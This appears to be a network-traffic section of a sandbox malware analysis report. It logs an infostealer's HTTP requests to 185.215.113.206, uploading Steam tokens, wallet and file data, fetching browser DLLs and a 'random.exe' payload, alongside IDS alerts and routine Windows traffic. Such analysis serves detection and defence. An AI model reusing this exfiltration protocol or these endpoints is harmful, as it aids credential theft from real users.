Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJKKECFIECAKECAFBGCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 2d 2d 0d 0a Data Ascii: ------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="file"------FHJKKECFIECAKECAFBGC--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEHIDHDAKJDHJKEBFIEHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIDAAFBGDBKJJJKFIIIJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 2d 2d 0d 0a Data Ascii: ------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="message"wallets------IIDAAFBGDBKJJJKFIIIJ--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFIDBFHDBGIDHJJEGHIHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 2d 2d 0d 0a Data Ascii: ------FBFIDBFHDBGIDHJJEGHIContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------FBFIDBFHDBGIDHJJEGHIContent-Disposition: form-data; name="message"files------FBFIDBFHDBGIDHJJEGHI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 2d 2d 0d 0a Data Ascii: ------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="file"------CGCFCFBKFCFCBGDGIEGH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIJDHIDBGHJKECBFIIDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 2d 2d 0d 0a Data Ascii: ------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="message"ybncbhylepme------DHIJDHIDBGHJKECBFIID--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJKEHJJDAAKFHIDAKFHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 64 62 30 38 64 37 32 36 30 66 37 30 32 34 65 65 35 63 33 38 36 62 39 39 61 30 30 64 65 61 65 61 35 37 32 34 65 31 37 66 34 61 33 35 39 30 38 39 33 30 66 32 32 62 61 33 62 64 34 62 39 61 38 30 31 37 62 63 33 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 2d 2d 0d 0a Data Ascii: ------FIJKEHJJDAAKFHIDAKFHContent-Disposition: form-data; name="token"6cdb08d7260f7024ee5c386b99a00deaea5724e17f4a35908930f22ba3bd4b9a8017bc30------FIJKEHJJDAAKFHIDAKFHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FIJKEHJJDAAKFHIDAKFH--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCAEGDHJKFHJKFIJKJEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 46 41 46 41 35 33 42 33 35 33 38 31 38 30 36 39 37 30 37 35 32 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------EHCAEGDHJKFHJKFIJKJEContent-Disposition: form-data; name="hwid"1FAFA53B35381806970752------EHCAEGDHJKFHJKFIJKJEContent-Disposition: form-data; name="build"tale------EHCAEGDHJKFHJKFIJKJE--

Source: Joe Sandbox View	IP Address: 20.125.209.212 20.125.209.212
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49711 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49710 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49738 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49934 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:50072 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:50130 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.5:49713
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.5:50026

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=EVAab1DREAWYy8M&MD=R3vG8wkV HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
